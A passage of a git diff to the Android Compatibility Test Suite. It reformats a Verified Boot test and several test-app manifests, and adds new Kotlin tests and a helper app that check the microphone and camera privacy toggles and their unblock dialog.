+                mContext.getPackageManager()
+                .hasSystemFeature(PackageManager.FEATURE_SECURITY_MODEL_COMPATIBLE));
     }
-    return (PropertyUtil.getFirstApiLevel() < Build.VERSION_CODES.P);
-  }
 
-  /**
-   * Asserts that Verified Boot is supported.
-   *
-   * A device is exempt if it launched on a pre-O_MR1 level.
-   *
-   * A device without the feature flag android.hardware.ram.normal is exempt if
-   * it launched on a pre-P level.
-   */
-  public void testVerifiedBootSupport() throws Exception {
-    if (PropertyUtil.getFirstApiLevel() < Build.VERSION_CODES.O_MR1) {
-      return;
+    private static boolean isLowRamExempt(PackageManager pm) {
+        if (pm.hasSystemFeature(PackageManager.FEATURE_RAM_NORMAL)) {
+            // No exemption for normal RAM
+            return false;
+        }
+        return (PropertyUtil.getFirstApiLevel() < Build.VERSION_CODES.P);
     }
-    PackageManager pm = getContext().getPackageManager();
-    assertNotNull("PackageManager must not be null", pm);
-    if (isLowRamExempt(pm)) {
-      return;
+
+    /**
+    * Asserts that Verified Boot is supported.
+    *
+    * A device is exempt if it launched on a pre-O_MR1 level.
+    *
+    * A device without the feature flag android.hardware.ram.normal is exempt if
+    * it launched on a pre-P level.
+    */
+    @Test
+    public void testVerifiedBootSupport() throws Exception {
+        if (PropertyUtil.getFirstApiLevel() < Build.VERSION_CODES.O_MR1) {
+            return;
+        }
+        PackageManager pm = mContext.getPackageManager();
+        assertNotNull("PackageManager must not be null", pm);
+        if (isLowRamExempt(pm)) {
+            return;
+        }
+        assertTrue("Verified boot must be supported on the device",
+                pm.hasSystemFeature(PackageManager.FEATURE_VERIFIED_BOOT));
     }
-    assertTrue("Verified boot must be supported on the device",
-        pm.hasSystemFeature(PackageManager.FEATURE_VERIFIED_BOOT));
-  }
 }
diff --git a/tests/tests/security/testdata/packageinstallertestapp.xml b/tests/tests/security/testdata/packageinstallertestapp.xml
index 7c35c11..5e6e066 100644
--- a/tests/tests/security/testdata/packageinstallertestapp.xml
+++ b/tests/tests/security/testdata/packageinstallertestapp.xml
@@ -16,21 +16,22 @@
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.security.cts.packageinstallertestapp"
-          android:versionCode="1"
-          android:versionName="1.0" >
+     package="android.security.cts.packageinstallertestapp"
+     android:versionCode="1"
+     android:versionName="1.0">
 
 
     <package-verifier android:name="android.security.cts"
-                      android:publicKey="MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA3rB8dYLa9mhYe9GICodUFVdjzh00SsfzpdMZ4UGIGF6VY/7D/TCdT5vjdXOdOQtsQnM/nZSgUPgBVX8RObm4/PRix68rdl2J58/LstcqdG6EaExb5hPUzHUuvOfd+p+IP+0SFEuRrWeGsmkzvdnxC2ZZjzEpE8UNDS8EtC2qULkF0cAGcHdHsjlktXRvn4FO+RN1GW6yxs8mOyCabNHASe3AynYFa894Iamu99+RK51+3iyw+u4cVUeVPH3CzJ2Pu1PyqT+9l4gKUbw0gfC6D0/PNEfxe4RPrtn3Z8+ES8+jXPjBLLaMTpT9dFcP25kBwNLiV0MJdTOdZ3f30urtJQIDAQAB" />
+         android:publicKey="MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA3rB8dYLa9mhYe9GICodUFVdjzh00SsfzpdMZ4UGIGF6VY/7D/TCdT5vjdXOdOQtsQnM/nZSgUPgBVX8RObm4/PRix68rdl2J58/LstcqdG6EaExb5hPUzHUuvOfd+p+IP+0SFEuRrWeGsmkzvdnxC2ZZjzEpE8UNDS8EtC2qULkF0cAGcHdHsjlktXRvn4FO+RN1GW6yxs8mOyCabNHASe3AynYFa894Iamu99+RK51+3iyw+u4cVUeVPH3CzJ2Pu1PyqT+9l4gKUbw0gfC6D0/PNEfxe4RPrtn3Z8+ES8+jXPjBLLaMTpT9dFcP25kBwNLiV0MJdTOdZ3f30urtJQIDAQAB"/>
 
-    <uses-sdk android:minSdkVersion="19" />
+    <uses-sdk android:minSdkVersion="19"/>
 
     <application android:label="PackageInstallerTest Test App">
-        <activity android:name="android.security.cts.packageinstallertestapp.MainActivity">
+        <activity android:name="android.security.cts.packageinstallertestapp.MainActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
     </application>
diff --git a/tests/tests/selinux/selinuxTargetSdk29/TEST_MAPPING b/tests/tests/selinux/selinuxTargetSdk29/TEST_MAPPING
new file mode 100644
index 0000000..fa4a8c1
--- /dev/null
+++ b/tests/tests/selinux/selinuxTargetSdk29/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsSelinuxTargetSdk29TestCases"
+    }
+  ]
+}
diff --git a/tests/tests/sensorprivacy/Android.bp b/tests/tests/sensorprivacy/Android.bp
new file mode 100644
index 0000000..608f445
--- /dev/null
+++ b/tests/tests/sensorprivacy/Android.bp
@@ -0,0 +1,48 @@
+//
+// Copyright (C) 2021 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test {
+    name: "CtsSensorPrivacyTestCases",
+    defaults: ["cts_defaults"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+        "sts",
+    ],
+    compile_multilib: "both",
+    static_libs: [
+        "ctstestrunner-axt",
+        "compatibility-device-util-axt",
+        "androidx.annotation_annotation",
+        "androidx.test.uiautomator",
+    ],
+    srcs: [
+        "src/**/*.java",
+        "src/**/*.aidl",
+        "src/**/*.kt",
+    ],
+    sdk_version: "test_current",
+    libs: [
+        "android.test.runner",
+        "android.test.base",
+    ],
+}
diff --git a/tests/tests/sensorprivacy/AndroidManifest.xml b/tests/tests/sensorprivacy/AndroidManifest.xml
new file mode 100644
index 0000000..1c378ec
--- /dev/null
+++ b/tests/tests/sensorprivacy/AndroidManifest.xml
@@ -0,0 +1,29 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     package="android.sensorprivacy.cts"
+     android:targetSandboxVersion="2">
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:targetPackage="android.sensorprivacy.cts"
+         android:label="CTS tests of android.sensorprivacy">
+        <meta-data android:name="listener"
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
+    </instrumentation>
+
+</manifest>
diff --git a/tests/tests/sensorprivacy/AndroidTest.xml b/tests/tests/sensorprivacy/AndroidTest.xml
new file mode 100644
index 0000000..412b1ee
--- /dev/null
+++ b/tests/tests/sensorprivacy/AndroidTest.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS Sensor Privacy test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user"/>
+
+    <!-- Install main test suite apk -->
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsSensorPrivacyTestCases.apk" />
+        <option name="test-file-name" value="CtsUseMicOrCameraForSensorPrivacy.apk" />
+    </target_preparer>
+
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.sensorprivacy.cts" />
+    </test>
+</configuration>
diff --git a/tests/tests/sensorprivacy/OWNERS b/tests/tests/sensorprivacy/OWNERS
new file mode 100644
index 0000000..3fb5fe2
--- /dev/null
+++ b/tests/tests/sensorprivacy/OWNERS
@@ -0,0 +1 @@
+file:platform/frameworks/native:/libs/sensorprivacy/OWNERS
\ No newline at end of file
diff --git a/tests/tests/sensorprivacy/src/android/sensorprivacy/cts/SensorPrivacyBaseTest.kt b/tests/tests/sensorprivacy/src/android/sensorprivacy/cts/SensorPrivacyBaseTest.kt
new file mode 100644
index 0000000..daafd27
--- /dev/null
+++ b/tests/tests/sensorprivacy/src/android/sensorprivacy/cts/SensorPrivacyBaseTest.kt
@@ -0,0 +1,142 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.sensorprivacy.cts
+
+import android.content.Intent
+import android.hardware.SensorPrivacyManager
+import android.hardware.SensorPrivacyManager.OnSensorPrivacyChangedListener
+import android.support.test.uiautomator.By
+import androidx.test.platform.app.InstrumentationRegistry
+import androidx.test.uiautomator.UiDevice
+import com.android.compatibility.common.util.SystemUtil
+import com.android.compatibility.common.util.SystemUtil.runShellCommandOrThrow
+import com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity
+import com.android.compatibility.common.util.ThrowingSupplier
+import com.android.compatibility.common.util.UiAutomatorUtils
+import org.junit.Assert.assertFalse
+import org.junit.Assert.assertTrue
+import org.junit.Assume
+import org.junit.Before
+import org.junit.Test
+import java.util.concurrent.CountDownLatch
+import java.util.concurrent.Executors
+import java.util.concurrent.TimeUnit
+import java.util.regex.Pattern
+
+abstract class SensorPrivacyBaseTest(
+    val feature: String,
+    val sensor: Int,
+    vararg val extras: String
+) {
+
+    companion object {
+        const val MIC_CAM_ACTIVITY_ACTION =
+                "android.sensorprivacy.cts.usemiccamera.action.USE_MIC_CAM"
+        const val FINISH_MIC_CAM_ACTIVITY_ACTION =
+                "android.sensorprivacy.cts.usemiccamera.action.FINISH_USE_MIC_CAM"
+        const val USE_MIC_EXTRA =
+                "android.sensorprivacy.cts.usemiccamera.extra.USE_MICROPHONE"
+        const val USE_CAM_EXTRA =
+                "android.sensorprivacy.cts.usemiccamera.extra.USE_CAMERA"
+    }
+
+    protected val instrumentation = InstrumentationRegistry.getInstrumentation()!!
+    protected val uiAutomation = instrumentation.uiAutomation!!
+    protected val uiDevice = UiDevice.getInstance(instrumentation)!!
+    protected val context = instrumentation.targetContext!!
+    protected val spm = context.getSystemService(SensorPrivacyManager::class.java)!!
+    protected val packageManager = context.packageManager!!
+
+    @Before
+    fun init() {
+        Assume.assumeTrue(packageManager.hasSystemFeature(feature))
+        uiDevice.wakeUp()
+        runShellCommandOrThrow("wm dismiss-keyguard")
+        uiDevice.waitForIdle()
+    }
+
+    @Test
+    fun testSetSensor() {
+        setSensor(true)
+        assertTrue(isSensorPrivacyEnabled())
+
+        setSensor(false)
+        assertFalse(isSensorPrivacyEnabled())
+    }
+
+    @Test
+    fun testDialog() {
+        setSensor(true)
+        val intent = Intent(MIC_CAM_ACTIVITY_ACTION)
+                .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
+                .addFlags(Intent.FLAG_ACTIVITY_MATCH_EXTERNAL)
+        for (extra in extras) {
+            intent.putExtra(extra, true)
+        }
+        context.startActivity(intent)
+        UiAutomatorUtils.waitFindObject(By.text(
+                Pattern.compile("Unblock", Pattern.CASE_INSENSITIVE))).click()
+        SystemUtil.eventually {
+            assertFalse(isSensorPrivacyEnabled())
+        }
+
+        // instant apps can't broadcast to other instant apps; use the shell
+        runShellCommandOrThrow("am broadcast" +
+                " --user ${context.userId}" +
+                " -a $FINISH_MIC_CAM_ACTIVITY_ACTION" +
+                " -f ${Intent.FLAG_RECEIVER_VISIBLE_TO_INSTANT_APPS}")
+    }
+
+    @Test
+    fun testListener() {
+        val executor = Executors.newSingleThreadExecutor()
+        setSensor(false)
+        val latchEnabled = CountDownLatch(1)
+        runWithShellPermissionIdentity {
+            spm.addSensorPrivacyListener(sensor, executor, OnSensorPrivacyChangedListener {
+                if (it) {
+                    latchEnabled.countDown()
+                }
+            })
+        }
+        setSensor(true)
+        latchEnabled.await(100, TimeUnit.MILLISECONDS)
+
+        val latchDisabled = CountDownLatch(1)
+        runWithShellPermissionIdentity {
+            spm.addSensorPrivacyListener(sensor, executor, OnSensorPrivacyChangedListener {
+                if (!it) {
+                    latchDisabled.countDown()
+                }
+            })
+        }
+        setSensor(false)
+        latchEnabled.await(100, TimeUnit.MILLISECONDS)
+    }
+
+    fun setSensor(enable: Boolean) {
+        runWithShellPermissionIdentity {
+            spm.setSensorPrivacy(sensor, enable)
+        }
+    }
+
+    fun isSensorPrivacyEnabled(): Boolean {
+        return runWithShellPermissionIdentity(ThrowingSupplier {
+            spm.isSensorPrivacyEnabled(sensor)
+        })
+    }
+}
diff --git a/tests/tests/sensorprivacy/src/android/sensorprivacy/cts/SensorPrivacyCameraTest.kt b/tests/tests/sensorprivacy/src/android/sensorprivacy/cts/SensorPrivacyCameraTest.kt
new file mode 100644
index 0000000..d4a0082
--- /dev/null
+++ b/tests/tests/sensorprivacy/src/android/sensorprivacy/cts/SensorPrivacyCameraTest.kt
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.sensorprivacy.cts
+
+import android.content.pm.PackageManager.FEATURE_CAMERA_TOGGLE
+import android.hardware.SensorPrivacyManager.Sensors.CAMERA
+
+class SensorPrivacyCameraTest : SensorPrivacyBaseTest(FEATURE_CAMERA_TOGGLE, CAMERA, USE_CAM_EXTRA)
diff --git a/tests/tests/sensorprivacy/src/android/sensorprivacy/cts/SensorPrivacyMicrophoneTest.kt b/tests/tests/sensorprivacy/src/android/sensorprivacy/cts/SensorPrivacyMicrophoneTest.kt
new file mode 100644
index 0000000..a9bee33
--- /dev/null
+++ b/tests/tests/sensorprivacy/src/android/sensorprivacy/cts/SensorPrivacyMicrophoneTest.kt
@@ -0,0 +1,26 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.sensorprivacy.cts
+
+import android.content.pm.PackageManager.FEATURE_MICROPHONE_TOGGLE
+import android.hardware.SensorPrivacyManager.Sensors.MICROPHONE
+
+class SensorPrivacyMicrophoneTest : SensorPrivacyBaseTest(
+        FEATURE_MICROPHONE_TOGGLE,
+        MICROPHONE,
+        USE_MIC_EXTRA
+)
diff --git a/tests/tests/sensorprivacy/test-apps/CtsUseMicOrCameraForSensorPrivacy/Android.bp b/tests/tests/sensorprivacy/test-apps/CtsUseMicOrCameraForSensorPrivacy/Android.bp
new file mode 100644
index 0000000..96fea35
--- /dev/null
+++ b/tests/tests/sensorprivacy/test-apps/CtsUseMicOrCameraForSensorPrivacy/Android.bp
@@ -0,0 +1,33 @@
+//
+// Copyright (C) 2021 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CtsUseMicOrCameraForSensorPrivacy",
+    defaults: ["cts_defaults"],
+
+    sdk_version: "test_current",
+
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    srcs: ["src/**/*.kt"],
+}
diff --git a/tests/tests/sensorprivacy/test-apps/CtsUseMicOrCameraForSensorPrivacy/AndroidManifest.xml b/tests/tests/sensorprivacy/test-apps/CtsUseMicOrCameraForSensorPrivacy/AndroidManifest.xml
new file mode 100644
index 0000000..f0ff413
--- /dev/null
+++ b/tests/tests/sensorprivacy/test-apps/CtsUseMicOrCameraForSensorPrivacy/AndroidManifest.xml
@@ -0,0 +1,36 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.sensorprivacy.cts.usemiccamera"
+          android:versionCode="1"
+          android:targetSandboxVersion="2">
+
+    <uses-permission android:name="android.permission.RECORD_AUDIO"/>
+    <uses-permission android:name="android.permission.CAMERA"/>
+
+    <application android:label="CtsUseMicOrCameraForSensorPrivacy">
+        <activity android:name=".UseMicCamera"
+                  android:exported="true"
+                  android:visibleToInstantApps="true">
+            <intent-filter>
+                <action android:name="android.sensorprivacy.cts.usemiccamera.action.USE_MIC_CAM" />
+                <category android:name="android.intent.category.DEFAULT" />
+            </intent-filter>
+        </activity>
+    </application>
+</manifest>
diff --git a/tests/tests/sensorprivacy/test-apps/CtsUseMicOrCameraForSensorPrivacy/src/android/sensorprivacy/cts/usemiccamera/UseMicCamera.kt b/tests/tests/sensorprivacy/test-apps/CtsUseMicOrCameraForSensorPrivacy/src/android/sensorprivacy/cts/usemiccamera/UseMicCamera.kt
new file mode 100644
index 0000000..d1c5c9f
--- /dev/null
+++ b/tests/tests/sensorprivacy/test-apps/CtsUseMicOrCameraForSensorPrivacy/src/android/sensorprivacy/cts/usemiccamera/UseMicCamera.kt
@@ -0,0 +1,99 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.sensorprivacy.cts.usemiccamera
+
+import android.app.Activity
+import android.content.BroadcastReceiver
+import android.content.Context
+import android.content.Intent
+import android.content.IntentFilter
+import android.hardware.camera2.CameraDevice
+import android.hardware.camera2.CameraDevice.StateCallback
+import android.hardware.camera2.CameraManager
+import android.media.AudioFormat
+import android.media.AudioRecord
+import android.media.MediaRecorder
+import android.os.Bundle
+import android.os.Handler
+
+private const val MIC = 1 shl 0
+private const val CAM = 1 shl 1
+
+private const val SAMPLING_RATE = 8000
+
+private const val finishMicCamActivityAction =
+        "android.sensorprivacy.cts.usemiccamera.action.FINISH_USE_MIC_CAM"
+private const val useMicExtra =
+        "android.sensorprivacy.cts.usemiccamera.extra.USE_MICROPHONE"
+private const val useCamExtra =
+        "android.sensorprivacy.cts.usemiccamera.extra.USE_CAMERA"
+
+class UseMicCamera : Activity() {
+
+    override fun onCreate(savedInstanceState: Bundle?) {
+        super.onCreate(savedInstanceState)
+
+        val handler = Handler(mainLooper)
+
+        registerReceiver(object : BroadcastReceiver() {
+            override fun onReceive(context: Context?, intent: Intent?) {
+                unregisterReceiver(this)
+                finish()
+            }
+        }, IntentFilter(finishMicCamActivityAction))
+
+        val useMic = intent.getBooleanExtra(useMicExtra, false)
+        val useCam = intent.getBooleanExtra(useCamExtra, false)
+        if (useMic) {
+            handler.postDelayed({ openMic() }, 1000)
+        }
+        if (useCam) {
+            handler.postDelayed({ openCam() }, 1000)
+        }
+    }
+
+    private fun openMic() {
+        val audioRecord = AudioRecord.Builder()
+                .setAudioFormat(AudioFormat.Builder()
+                        .setSampleRate(SAMPLING_RATE)
+                        .setEncoding(AudioFormat.ENCODING_PCM_16BIT)
+                        .setChannelMask(AudioFormat.CHANNEL_IN_MONO).build())
+                .setAudioSource(MediaRecorder.AudioSource.DEFAULT)
+                .setBufferSizeInBytes(
+                        AudioRecord.getMinBufferSize(SAMPLING_RATE,
+                                AudioFormat.CHANNEL_IN_MONO,
+                                AudioFormat.ENCODING_PCM_16BIT) * 10)
+                .build()
+
+        audioRecord.startRecording()
+    }
+
+    private fun openCam() {
+        val cameraManager = getSystemService(CameraManager::class.java)!!
+        val cameraId = cameraManager.cameraIdList[0] ?: return
+        cameraManager.openCamera(cameraId, mainExecutor, object : StateCallback() {
+            override fun onOpened(camera: CameraDevice) {
+            }
+
+            override fun onDisconnected(camera: CameraDevice) {
+            }
+
+            override fun onError(camera: CameraDevice, error: Int) {
+            }
+        })
+    }
+}
\ No newline at end of file
diff --git a/tests/tests/sharesheet/AndroidManifest.xml b/tests/tests/sharesheet/AndroidManifest.xml
index 5723d51..ae11600 100644
--- a/tests/tests/sharesheet/AndroidManifest.xml
+++ b/tests/tests/sharesheet/AndroidManifest.xml
@@ -16,65 +16,65 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.sharesheet.cts">
+     package="android.sharesheet.cts">
 
-    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
 
     <!-- Allows test to query for all installed apps, needed to test excluding components -->
     <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES"/>
 
     <!-- Needed permission and android:requestLegacyExternalStorage to dump screenshots in case of
-         failure -->
-    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
-    <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE" />
+                 failure -->
+    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
+    <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE"/>
 
-    <application 
-        android:requestLegacyExternalStorage="true"
-        android:label="@string/test_app_label">
+    <application android:requestLegacyExternalStorage="true"
+         android:label="@string/test_app_label">
 
-        <uses-library android:name="android.test.runner" />
-    
-        <activity android:name=".CtsSharesheetDeviceActivity">
+        <uses-library android:name="android.test.runner"/>
+
+        <activity android:name=".CtsSharesheetDeviceActivity"
+             android:exported="true">
 
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
 
             <intent-filter>
-                <action android:name="android.intent.action.SEND" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <data android:mimeType="test/cts" />
+                <action android:name="android.intent.action.SEND"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <data android:mimeType="test/cts"/>
             </intent-filter>
 
             <!-- Used to provide Sharing Shortcuts -->
             <meta-data android:name="android.app.shortcuts"
-                    android:resource="@xml/shortcuts"/>
+                 android:resource="@xml/shortcuts"/>
 
             <meta-data android:name="android.service.chooser.chooser_target_service"
-                    android:value=".CtsSharesheetChooserTargetService"/>
+                 android:value=".CtsSharesheetChooserTargetService"/>
 
         </activity>
 
         <service android:name=".CtsSharesheetChooserTargetService"
-            android:permission="android.permission.BIND_CHOOSER_TARGET_SERVICE">
+             android:permission="android.permission.BIND_CHOOSER_TARGET_SERVICE"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.service.chooser.ChooserTargetService" />
+                <action android:name="android.service.chooser.ChooserTargetService"/>
             </intent-filter>
         </service>
 
         <activity-alias android:name=".ExtraInitialIntentTestActivity"
-                        android:label="@string/test_extra_initial_intents_label"
-                        android:targetActivity=".CtsSharesheetDeviceActivity"/>
+             android:label="@string/test_extra_initial_intents_label"
+             android:targetActivity=".CtsSharesheetDeviceActivity"/>
 
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.sharesheet.cts"
-                     android:label="CTS tests of android.sharesheet">
+         android:targetPackage="android.sharesheet.cts"
+         android:label="CTS tests of android.sharesheet">
         <meta-data android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
     </instrumentation>
 
 </manifest>
-
diff --git a/tests/tests/sharesheet/packages/AndroidManifest-ActivityLabelTester.xml b/tests/tests/sharesheet/packages/AndroidManifest-ActivityLabelTester.xml
index 9da4a37..635907c 100644
--- a/tests/tests/sharesheet/packages/AndroidManifest-ActivityLabelTester.xml
+++ b/tests/tests/sharesheet/packages/AndroidManifest-ActivityLabelTester.xml
@@ -16,21 +16,23 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.sharesheet.cts.packages">
+     package="android.sharesheet.cts.packages">
 
     <application android:label="App A">
 
-        <activity android:name=".LabelTestActivity" android:label="Activity A">
+        <activity android:name=".LabelTestActivity"
+             android:label="Activity A"
+             android:exported="true">
 
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
 
             <intent-filter>
-                <action android:name="android.intent.action.SEND" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <data android:mimeType="test/cts" />
+                <action android:name="android.intent.action.SEND"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <data android:mimeType="test/cts"/>
             </intent-filter>
 
         </activity>
@@ -38,4 +40,3 @@
     </application>
 
 </manifest>
-
diff --git a/tests/tests/sharesheet/packages/AndroidManifest-ExcludeTester.xml b/tests/tests/sharesheet/packages/AndroidManifest-ExcludeTester.xml
index ca2e79e..24b8762 100644
--- a/tests/tests/sharesheet/packages/AndroidManifest-ExcludeTester.xml
+++ b/tests/tests/sharesheet/packages/AndroidManifest-ExcludeTester.xml
@@ -16,21 +16,22 @@
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.sharesheet.cts.packages">
+     package="android.sharesheet.cts.packages">
 
     <application android:label="Bl Label">
 
-        <activity android:name=".LabelTestActivity">
+        <activity android:name=".LabelTestActivity"
+             android:exported="true">
 
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
 
             <intent-filter>
-                <action android:name="android.intent.action.SEND" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <data android:mimeType="test/cts" />
+                <action android:name="android.intent.action.SEND"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <data android:mimeType="test/cts"/>
             </intent-filter>
 
         </activity>
@@ -38,4 +39,3 @@
     </application>
 
 </manifest>
-
diff --git a/tests/tests/sharesheet/packages/AndroidManifest-IntentFilterLabelTester.xml b/tests/tests/sharesheet/packages/AndroidManifest-IntentFilterLabelTester.xml
index 1169b49..6450034 100644
--- a/tests/tests/sharesheet/packages/AndroidManifest-IntentFilterLabelTester.xml
+++ b/tests/tests/sharesheet/packages/AndroidManifest-IntentFilterLabelTester.xml
@@ -16,21 +16,23 @@
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.sharesheet.cts.packages">
+     package="android.sharesheet.cts.packages">
 
     <application android:label="App If">
 
